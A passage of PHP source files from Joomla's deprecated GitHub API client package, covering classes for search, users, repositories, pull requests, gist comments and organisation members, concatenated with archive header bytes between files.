Note, this legacy method does not follow * the v3 pagination pattern. * This method returns up to 100 results per page and pages can be fetched * using the start_page parameter. * * @param string $keyword The search term. * @param string $language Filter results by language https://github.com/languages * @param integer $startPage Page number to fetch * * @since 3.3 (CMS) * * @return object */ public function repositories($keyword, $language = '', $startPage = 0) { // Build the request path. $path = '/legacy/repos/search/' . $keyword . '?'; $path .= ($language) ? '&language=' . $language : ''; $path .= ($startPage) ? '&start_page=' . $startPage : ''; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Search users. * * Find users by keyword. * * @param string $keyword The search term. * @param integer $startPage Page number to fetch * * @since 3.3 (CMS) * * @return object */ public function users($keyword, $startPage = 0) { // Build the request path. $path = '/legacy/user/search/' . $keyword . '?'; $path .= ($startPage) ? '&start_page=' . $startPage : ''; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Email search. * * This API call is added for compatibility reasons only. There’s no guarantee * that full email searches will always be available. The @ character in the * address must be left unencoded. Searches only against public email addresses * (as configured on the user’s GitHub profile). * * @param string $email The email address(es). * * @since 3.3 (CMS) * * @return object */ public function email($email) { // Build the request path. $path = '/legacy/user/email/' . $email; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } } PK�\Jwf��"joomla/github/package/activity.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Activity class for the Joomla Platform. * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead * * @documentation https://developer.github.com/v3/activity/ * * @property-read JGithubPackageActivityEvents $events GitHub API object for markdown. */ class JGithubPackageActivity extends JGithubPackage { protected $name = 'Activity'; protected $packages = array('events', 'notifications', 'starring', 'watching'); } PK�\탠���#joomla/github/package/gitignore.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Gitignore class for the Joomla Platform. * * The .gitignore Templates API lists and fetches templates from the GitHub .gitignore repository. * * @documentation https://developer.github.com/v3/gitignore/ * @documentation https://github.com/github/gitignore * * @since 3.3.0 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageGitignore extends JGithubPackage { /** * Listing available templates * * List all templates available to pass as an option when creating a repository. * * @since 3.3 (CMS) * * @return object */ public function getList() { // Build the request path. $path = '/gitignore/templates'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get a single template * * @param string $name The name of the template * @param boolean $raw Raw output * * @throws DomainException * @since 3.3 (CMS) * * @return mixed|string */ public function get($name, $raw = false) { // Build the request path. $path = '/gitignore/templates/' . $name; $headers = array(); if ($raw) { $headers['Accept'] = 'application/vnd.github.raw+json'; } $response = $this->client->get($this->fetchUrl($path), $headers); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); $message = (isset($error->message)) ? $error->message : 'Invalid response'; throw new DomainException($message, $response->code); } return ($raw) ? $response->body : json_decode($response->body); } } PK�\�I��joomla/github/package/users.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API References class for the Joomla Platform. * * @documentation https://developer.github.com/v3/users * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageUsers extends JGithubPackage { protected $name = 'Users'; protected $packages = array('emails', 'followers', 'keys'); /** * Get a single user. * * @param string $user The users login name. * * @throws DomainException * * @return object */ public function get($user) { // Build the request path. $path = '/users/' . $user; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get the current authenticated user. * * @throws DomainException * * @return mixed */ public function getAuthenticatedUser() { // Build the request path. $path = '/user'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Update a user. * * @param string $name The full name * @param string $email The email * @param string $blog The blog * @param string $company The company * @param string $location The location * @param string $hireable If he is unemployed :P * @param string $bio The biometrical DNA fingerprint (or something...) * * @throws DomainException * * @return mixed */ public function edit($name = '', $email = '', $blog = '', $company = '', $location = '', $hireable = '', $bio = '') { $data = array( 'name' => $name, 'email' => $email, 'blog' => $blog, 'company' => $company, 'location' => $location, 'hireable' => $hireable, 'bio' => $bio, ); // Build the request path. $path = '/user'; // Send the request. return $this->processResponse( $this->client->patch($this->fetchUrl($path), json_encode($data)) ); } /** * Get all users. * * This provides a dump of every user, in the order that they signed up for GitHub. * * @param integer $since The integer ID of the last User that you’ve seen. * * @throws DomainException * @return mixed */ public function getList($since = 0) { // Build the request path. $path = '/users'; $path .= ($since) ? '?since=' . $since : ''; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /* * Legacy methods */ /** * Get a single user. * * @param string $user The users login name. * * @deprecated use users->get() * * @throws DomainException * * @return mixed */ public function getUser($user) { return $this->get($user); } /** * Update a user. * * @param string $name The full name * @param string $email The email * @param string $blog The blog * @param string $company The company * @param string $location The location * @param string $hireable If he is unemployed :P * @param string $bio The biometrical DNA fingerprint (or something...) * * @deprecated use users->edit() * * @throws DomainException * * @return mixed */ public function updateUser($name = '', $email = '', $blog = '', $company = '', $location = '', $hireable = '', $bio = '') { return $this->edit($name = '', $email = '', $blog = '', $company = '', $location = '', $hireable = '', $bio = ''); } /** * Get all users. * * This provides a dump of every user, in the order that they signed up for GitHub. * * @param integer $since The integer ID of the last User that you’ve seen. * * @deprecated use users->getList() * * @throws DomainException * @return mixed */ public function getUsers($since = 0) { return $this->getList($since); } } PK�\+u]f�4�4&joomla/github/package/repositories.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Activity class for the Joomla Platform. * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead * * @documentation https://developer.github.com/v3/repos * * @property-read JGithubPackageRepositoriesCollaborators $collaborators GitHub API object for collaborators. * @property-read JGithubPackageRepositoriesComments $comments GitHub API object for comments. * @property-read JGithubPackageRepositoriesCommits $commits GitHub API object for commits. * @property-read JGithubPackageRepositoriesContents $contents GitHub API object for contents. * @property-read JGithubPackageRepositoriesDownloads $downloads GitHub API object for downloads. * @property-read JGithubPackageRepositoriesForks $forks GitHub API object for forks. * @property-read JGithubPackageRepositoriesHooks $hooks GitHub API object for hooks. * @property-read JGithubPackageRepositoriesKeys $keys GitHub API object for keys. * @property-read JGithubPackageRepositoriesMerging $merging GitHub API object for merging. * @property-read JGithubPackageRepositoriesStatuses $statuses GitHub API object for statuses. */ class JGithubPackageRepositories extends JGithubPackage { protected $name = 'Repositories'; protected $packages = array('collaborators', 'comments', 'commits', 'contents', 'downloads', 'forks', 'hooks', 'keys', 'merging', 'statuses'); /** * List your repositories. * * List repositories for the authenticated user. * * @param string $type Sort type. all, owner, public, private, member. Default: all. * @param string $sort Sort field. created, updated, pushed, full_name, default: full_name. * @param string $direction Sort direction. asc or desc, default: when using full_name: asc, otherwise desc. * * @throws RuntimeException * * @return object */ public function getListOwn($type = 'all', $sort = 'full_name', $direction = '') { if (false == in_array($type, array('all', 'owner', 'public', 'private', 'member'))) { throw new RuntimeException('Invalid type'); } if (false == in_array($sort, array('created', 'updated', 'pushed', 'full_name'))) { throw new RuntimeException('Invalid sort field'); } // Sort direction default: when using full_name: asc, otherwise desc. $direction = ($direction) ? : (('full_name' == $sort) ? 'asc' : 'desc'); if (false == in_array($direction, array('asc', 'desc'))) { throw new RuntimeException('Invalid sort order'); } // Build the request path. $path = '/user/repos' . '?type=' . $type . '&sort=' . $sort . '&direction=' . $direction; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List user repositories. * * List public repositories for the specified user. * * @param string $user The user name. * @param string $type Sort type. all, owner, member. Default: all. * @param string $sort Sort field. created, updated, pushed, full_name, default: full_name. * @param string $direction Sort direction. asc or desc, default: when using full_name: asc, otherwise desc. * * @throws RuntimeException * * @return object */ public function getListUser($user, $type = 'all', $sort = 'full_name', $direction = '') { if (false == in_array($type, array('all', 'owner', 'member'))) { throw new RuntimeException('Invalid type'); } if (false == in_array($sort, array('created', 'updated', 'pushed', 'full_name'))) { throw new RuntimeException('Invalid sort field'); } // Sort direction default: when using full_name: asc, otherwise desc. $direction = ($direction) ? : (('full_name' == $sort) ? 'asc' : 'desc'); if (false == in_array($direction, array('asc', 'desc'))) { throw new RuntimeException('Invalid sort order'); } // Build the request path. $path = '/users/' . $user . '/repos' . '?type=' . $type . '&sort=' . $sort . '&direction=' . $direction; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List organization repositories. * * List repositories for the specified org. * * @param string $org The name of the organization. * @param string $type Sort type. all, public, private, forks, sources, member. Default: all. * * @throws RuntimeException * * @return object */ public function getListOrg($org, $type = 'all') { if (false == in_array($type, array('all', 'public', 'private', 'forks', 'sources', 'member'))) { throw new RuntimeException('Invalid type'); } // Build the request path. $path = '/orgs/' . $org . '/repos' . '?type=' . $type; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List all repositories. * * This provides a dump of every repository, in the order that they were created. * * @param integer $id The integer ID of the last Repository that you’ve seen. * * @throws RuntimeException * * @return object */ public function getList($id = 0) { // Build the request path. $path = '/repositories'; $path .= ($id) ? '?since=' . (int) $id : ''; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Create a new repository for the authenticated user or an organization. * OAuth users must supply repo scope. * * @param string $name The repository name. * @param string $org The organization name (if needed). * @param string $description The repository description. * @param string $homepage The repository homepage. * @param boolean $private Set true to create a private repository, false to create a public one. * Creating private repositories requires a paid GitHub account. * @param boolean $hasIssues Set true to enable issues for this repository, false to disable them. * @param boolean $hasWiki Set true to enable the wiki for this repository, false to disable it. * @param boolean $hasDownloads Set true to enable downloads for this repository, false to disable them. * @param integer $teamId The id of the team that will be granted access to this repository. * This is only valid when creating a repo in an organization. * @param boolean $autoInit true to create an initial commit with empty README. * @param string $gitignoreTemplate Desired language or platform .gitignore template to apply. * Use the name of the template without the extension. For example, * “Haskell” Ignored if auto_init parameter is not provided. * * @return object */ public function create($name, $org = '', $description = '', $homepage = '', $private = false, $hasIssues = false, $hasWiki = false, $hasDownloads = false, $teamId = 0, $autoInit = false, $gitignoreTemplate = '') { $path = ($org) // Create a repository for an organization ? '/orgs/' . $org . '/repos' // Create a repository for a user : '/user/repos'; $data = array( 'name' => $name, 'description' => $description, 'homepage' => $homepage, 'private' => $private, 'has_issues' => $hasIssues, 'has_wiki' => $hasWiki, 'has_downloads' => $hasDownloads, 'team_id' => $teamId, 'auto_init' => $autoInit, 'gitignore_template' => $gitignoreTemplate, ); // Send the request. return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode($data)), 201 ); } /** * Get a repository. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @return object */ public function get($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Edit a repository. * * @param string $owner Repository owner. * @param string $repo Repository name. * @param string $name The repository name. * @param string $description The repository description. * @param string $homepage The repository homepage. * @param boolean $private Set true to create a private repository, false to create a public one. * Creating private repositories requires a paid GitHub account. * @param boolean $hasIssues Set true to enable issues for this repository, false to disable them. * @param boolean $hasWiki Set true to enable the wiki for this repository, false to disable it. * @param boolean $hasDownloads Set true to enable downloads for this repository, false to disable them. * @param string $defaultBranch Update the default branch for this repository * * @return object */ public function edit($owner, $repo, $name, $description = '', $homepage = '', $private = false, $hasIssues = false, $hasWiki = false, $hasDownloads = false, $defaultBranch = '') { $path = '/repos/' . $owner . '/' . $repo; $data = array( 'name' => $name, 'description' => $description, 'homepage' => $homepage, 'private' => $private, 'has_issues' => $hasIssues, 'has_wiki' => $hasWiki, 'has_downloads' => $hasDownloads, 'default_branch' => $defaultBranch, ); // Send the request. return $this->processResponse( $this->client->patch($this->fetchUrl($path), json_encode($data)) ); } /** * List contributors. * * @param string $owner Repository owner. * @param string $repo Repository name. * @param boolean $anon Set to 1 or true to include anonymous contributors in results. * * @return object */ public function getListContributors($owner, $repo, $anon = false) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/contributors'; $path .= ($anon) ? '?anon=true' : ''; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List languages. * * List languages for the specified repository. The value on the right of a language is the number of bytes of code * written in that language. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @return object */ public function getListLanguages($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/languages'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List Teams * * @param string $owner Repository owner. * @param string $repo Repository name. * * @return object */ public function getListTeams($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/teams'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List Tags. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @return object */ public function getListTags($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/tags'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List Branches. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @return object */ public function getListBranches($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/branches'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get a Branch. * * @param string $owner Repository owner. * @param string $repo Repository name. * @param string $branch Branch name. * * @return object */ public function getBranch($owner, $repo, $branch) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/branches/' . $branch; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Delete a Repository. * * Deleting a repository requires admin access. If OAuth is used, the delete_repo scope is required. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @return object */ public function delete($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo; // Send the request. return $this->processResponse( $this->client->delete($this->fetchUrl($path)) ); } } PK�\b��59;9;joomla/github/package/pulls.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Pull Requests class for the Joomla Platform. * * @documentation https://developer.github.com/v3/pulls * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead * * @property-read JGithubPackagePullsComments $comments GitHub API object for comments. */ class JGithubPackagePulls extends JGithubPackage { protected $name = 'Pulls'; protected $packages = array( 'comments', ); /** * Method to create a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $title The title of the new pull request. * @param string $base The branch (or git ref) you want your changes pulled into. This * should be an existing branch on the current repository. You cannot * submit a pull request to one repo that requests a merge to a base * of another repo. * @param string $head The branch (or git ref) where your changes are implemented. * @param string $body The body text for the new pull request. * * @throws DomainException * @since 1.7.3 * * @return object */ public function create($user, $repo, $title, $base, $head, $body = '') { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls'; // Build the request data. $data = json_encode( array( 'title' => $title, 'base' => $base, 'head' => $head, 'body' => $body, ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to create a pull request from an existing issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $issueId The issue number for which to attach the new pull request. * @param string $base The branch (or git ref) you want your changes pulled into. This * should be an existing branch on the current repository. You cannot * submit a pull request to one repo that requests a merge to a base * of another repo. * @param string $head The branch (or git ref) where your changes are implemented. * * @throws DomainException * @since 1.7.3 * * @return object */ public function createFromIssue($user, $repo, $issueId, $base, $head) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls'; // Build the request data. $data = json_encode( array( 'issue' => (int) $issueId, 'base' => $base, 'head' => $head, ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to update a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param string $title The optional new title for the pull request. * @param string $body The optional new body text for the pull request. * @param string $state The optional new state for the pull request. [open, closed] * * @throws DomainException * @since 1.7.3 * * @return object */ public function edit($user, $repo, $pullId, $title = null, $body = null, $state = null) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/' . (int) $pullId; // Create the data object. $data = new stdClass; // If a title is set add it to the data object. if (isset($title)) { $data->title = $title; } // If a body is set add it to the data object. if (isset($body)) { $data->body = $body; } // If a state is set add it to the data object. if (isset($state)) { $data->state = $state; } // Encode the request data. $data = json_encode($data); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a single pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * * @throws DomainException * @since 1.7.3 * * @return object */ public function get($user, $repo, $pullId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/' . (int) $pullId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a list of commits for a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getCommits($user, $repo, $pullId, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/' . (int) $pullId . '/commits'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a list of files for a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getFiles($user, $repo, $pullId, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/' . (int) $pullId . '/files'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list pull requests. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $state The optional state to filter requests by. [open, closed] * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getList($user, $repo, $state = 'open', $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls'; // If a state exists append it as an option. if ($state != 'open') { $path .= '?state=' . $state; } // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to check if a pull request has been merged. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. The pull request number. * * @throws DomainException * @since 1.7.3 * * @return boolean True if the pull request has been merged. */ public function isMerged($user, $repo, $pullId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/' . (int) $pullId . '/merge'; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code == 204) { return true; } elseif ($response->code == 404) { return false; } else { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } } /** * Method to merge a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param string $message The message that will be used for the merge commit. * * @throws DomainException * @since 1.7.3 * * @return object */ public function merge($user, $repo, $pullId, $message = '') { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/' . (int) $pullId . '/merge'; // Build the request data. $data = json_encode( array( 'commit_message' => $message, ) ); // Send the request. $response = $this->client->put($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /* * Legacy methods */ /** * Method to create a comment on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param string $body The comment body text. * @param string $commitId The SHA1 hash of the commit to comment on. * @param string $filePath The Relative path of the file to comment on. * @param string $position The line index in the diff to comment on. * * @deprecated use pulls->comments->create() * * @return object * * @since 1.7.3 */ public function createComment($user, $repo, $pullId, $body, $commitId, $filePath, $position) { return $this->comments->create($user, $repo, $pullId, $body, $commitId, $filePath, $position); } /** * Method to create a comment in reply to another comment. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param string $body The comment body text. * @param integer $inReplyTo The id of the comment to reply to. * * @deprecated use pulls->comments->createReply() * * @return object * * @since 1.7.3 */ public function createCommentReply($user, $repo, $pullId, $body, $inReplyTo) { return $this->comments->createReply($user, $repo, $pullId, $body, $inReplyTo); } /** * Method to delete a comment on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The id of the comment to delete. * * @deprecated use pulls->comments->delete() * * @return void * * @since 1.7.3 */ public function deleteComment($user, $repo, $commentId) { $this->comments->delete($user, $repo, $commentId); } /** * Method to update a comment on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The id of the comment to update. * @param string $body The new body text for the comment. * * @deprecated use pulls->comments->edit() * * @return object * * @since 1.7.3 */ public function editComment($user, $repo, $commentId, $body) { return $this->comments->edit($user, $repo, $commentId, $body); } /** * Method to get a specific comment on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The comment id to get. * * @deprecated use pulls->comments->get() * * @return object * * @since 1.7.3 */ public function getComment($user, $repo, $commentId) { return $this->comments->get($user, $repo, $commentId); } /** * Method to get the list of comments on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @deprecated use pulls->comments->getList() * * @return array * * @since 1.7.3 */ public function getComments($user, $repo, $pullId, $page = 0, $limit = 0) { return $this->comments->getList($user, $repo, $pullId, $page, $limit); } } PK�\�09#(joomla/github/package/gists/comments.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Gists Comments class for the Joomla Platform. * * @documentation https://developer.github.com/v3/gists/comments/ * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageGistsComments extends JGithubPackage { /** * Method to create a comment on a gist. * * @param integer $gistId The gist number. * @param string $body The comment body text. * * @throws DomainException * @since 1.7.3 * * @return object */ public function create($gistId, $body) { // Build the request path. $path = '/gists/' . (int) $gistId . '/comments'; // Build the request data. $data = json_encode( array( 'body' => $body, ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to delete a comment on a gist. * * @param integer $commentId The id of the comment to delete. * * @throws DomainException * @since 1.7.3 * * @return void */ public function delete($commentId) { // Build the request path. $path = '/gists/comments/' . (int) $commentId; // Send the request. $response = $this->client->delete($this->fetchUrl($path)); // Validate the response code. if ($response->code != 204) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } } /** * Method to update a comment on a gist. * * @param integer $commentId The id of the comment to update. * @param string $body The new body text for the comment. * * @throws DomainException * @since 1.7.3 * * @return object */ public function edit($commentId, $body) { // Build the request path. $path = '/gists/comments/' . (int) $commentId; // Build the request data. $data = json_encode( array( 'body' => $body, ) ); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a specific comment on a gist. * * @param integer $commentId The comment id to get. * * @throws DomainException * @since 1.7.3 * * @return object */ public function get($commentId) { // Build the request path. $path = '/gists/comments/' . (int) $commentId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get the list of comments on a gist. * * @param integer $gistId The gist number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getList($gistId, $page = 0, $limit = 0) { // Build the request path. $path = '/gists/' . (int) $gistId . '/comments'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } } PK�\��"� joomla/github/package/data.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API DB class for the Joomla Platform. * * https://developer.github.com/v3/git/ * Git DB API * * The Git Database API gives you access to read and write raw Git objects to your Git database on GitHub and to list * * and update your references (branch heads and tags). * * This basically allows you to reimplement a lot of Git functionality over our API - by creating raw objects * * directly into the database and updating branch references you could technically do just about anything that * * Git can do without having Git installed. * * Git DB API functions will return a 409 if the git repo for a Repository is empty or unavailable. * * This typically means it is being created still. Contact Support if this response status persists. * * git db * * For more information on the Git object database, please read the Git Internals chapter of the Pro Git book. * * As an example, if you wanted to commit a change to a file in your repository, you would: * * get the current commit object * retrieve the tree it points to * retrieve the content of the blob object that tree has for that particular file path * change the content somehow and post a new blob object with that new content, getting a blob SHA back * post a new tree object with that file path pointer replaced with your new blob SHA getting a tree SHA back * create a new commit object with the current commit SHA as the parent and the new tree SHA, getting a commit SHA back * update the reference of your branch to point to the new commit SHA * * It might seem complex, but it’s actually pretty simple when you understand the model and it opens up a ton of * things you could potentially do with the API. * * @documentation https://developer.github.com/v3/git/ * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageData extends JGithubPackage { protected $name = 'Data'; protected $packages = array('blobs', 'commits', 'refs', 'tags', 'trees'); } PK�\ͱ��&joomla/github/package/orgs/members.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Orgs Members class for the Joomla Platform. * * @documentation https://developer.github.com/v3/orgs/members/ * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageOrgsMembers extends JGithubPackage { /** * Members list. * * List all users who are members of an organization. * A member is a user that belongs to at least 1 team in the organization. * If the authenticated user is also a member of this organization then * both concealed and public members will be returned. * If the requester is not a member of the organization the query will be * redirected to the public members list. * * @param string $org The name of the organization. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return boolean|mixed */ public function getList($org) { // Build the request path. $path = '/orgs/' . $org . '/members'; $response = $this->client->get($this->fetchUrl($path)); switch ($response->code) { case 302 : // Requester is not an organization member. return false; break; case 200 : return json_decode($response->body); break; default : throw new UnexpectedValueException('Unexpected response code: ' . $response->code); break; } } /** * Check membership. * * Check if a user is, publicly or privately, a member of the organization. * * @param string $org The name of the organization. * @param string $user The name of the user. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return boolean */ public function check($org, $user) { // Build the request path. $path = '/orgs/' . $org . '/members/' . $user; $response = $this->client->get($this->fetchUrl($path)); switch ($response->code) { case 204 : // Requester is an organization member and user is a member. return true; break; case 404 : // Requester is an organization member and user is not a member. // Requester is not an organization member and is inquiring about themselves. return false; break; case 302 : // Requester is not an organization member. return false; break; default : throw new UnexpectedValueException('Unexpected response code: ' . $response->code); break; } } /** * Add a member. * * To add someone as a member to an org, you must add them to a team. */ /** * Remove a member. * * Removing a user from this list will remove them from all teams and they will no longer have * any access to the organization’s repositories. * * @param string $org The name of the organization. * @param string $user The name of 